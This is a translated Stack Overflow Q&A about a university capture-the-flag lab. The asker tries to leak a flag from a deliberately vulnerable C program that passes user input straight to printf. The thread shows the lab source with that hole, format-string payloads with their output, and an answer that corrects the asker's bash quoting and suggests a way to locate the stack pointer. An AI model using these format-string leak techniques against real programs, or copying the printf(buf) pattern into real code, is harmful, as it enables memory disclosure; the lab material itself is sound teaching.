我正在尝试从CSCI 4971 course学习逆向工程,并且正为一个特定的实验室问题(fmt_string)苦苦挣扎。
我应该找到并打印出某处的国旗商店。这是源代码的外观:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define LINK "\x1b\x5b" "34m"
#define RESET "\x1b\x5b" "0m"
int main()
{
char buf[256];
char *blah = (char *)0xdeadbeef;
char *pointer = flag;
char *xblah = (char *)0x1337c0de;
printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET
"Nobody really cared though until this exploit for ProFTPD was\n"
"dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n"
"\n"
"In this challenge you do not need code execution. The flag is\n"
"somewhere in memory. There is a pointer to it on the stack. You\n"
"must use this pointer to dump the flag...\n"
"\n"
"You will retrieve it by passing in format string specifiers to\n"
"the printf() function\n"
"\n"
"After class read this article by rebel for fmt string leetness\n"
LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n"
"\n"
"As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n"
"\n oh, and man printf\n"
"\n"
"\n"
);
while(1)
{
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
}
这就是我解决问题的方式:我知道输入
%x
将打印出存储在堆栈中的数据。因此,当我输入AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
时,得到的输出是AAAA.00000100.080c7020.00000000.1337c0de.080c90a0.deadbeef.41414141
,这与我预期的一样。最后4个字节
41414141
是开头的4个',4个字节deadbeef
和1337c0de
是在源代码中进行硬编码的字节。现在,我非常确定该标志存储在地址080c90a0
中。但是,当我运行this bash command时,无法获得该标志:
$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"
我得到的是:
000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
请帮助我了解我在做什么错,为什么我得到此输出以及如何获得标志?
最佳答案
您的bash printf
命令甚至从未运行过C程序。 ./fmt_string
在双引号内,作为内置printf
的arg的一部分。
在我的桌面上(在没有名为fmt_string
的文件的目录中),我得到:
$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"
��
.00000000.00000000.00000000.00000000.00000000.00000000. | ./fmt_string
这与您显示的输出不同,所以也许您没有复制实际运行的命令?
也许您实际上运行了
printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_string
。没有管道,它将打印:��
.00000000.00000000.00000000.00000000.00000000.00000000.
因为您没有做任何事情来阻止内置的
printf
解释您正在打印的字符串中的%
。使用printf '%s\n' ...
,或使用echo
。具有讽刺意味的是,您对格式字符串漏洞进行测试的尝试因对格式字符串的不正确处理而失败。通过程序对
printf
输出进行管道传输将逐字打印,因为它不再具有任何printf
元字符。在这种情况下,即使fgets
/ printf
循环具有二进制垃圾,也只会将stdin复制到stdout。至于实际找到
flag
存储在堆栈中的位置,请使用gcc -O0 -fverbose-asm -masm=intel foo.c -S -o- | less
进行编译,然后查看gcc的注释,以了解将所需指针放置在何处。(我假设您的漏洞利用只对使用
-O0
编译的代码有效,因为否则指针将永远不会存储在堆栈中。)是否使用
-m32
则为IDK。如果不是,那么printf
的前6个整数args将传递到整数寄存器中(在x86-64 System V ABI中),因此您需要首先对其进行遍历。有关ABI文档链接,请参见x86标签Wiki。我假设您使用
printf
bash命令在Linux上。关于c - 如何使用格式字符串漏洞从堆栈中读取任意指针?,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/45879882/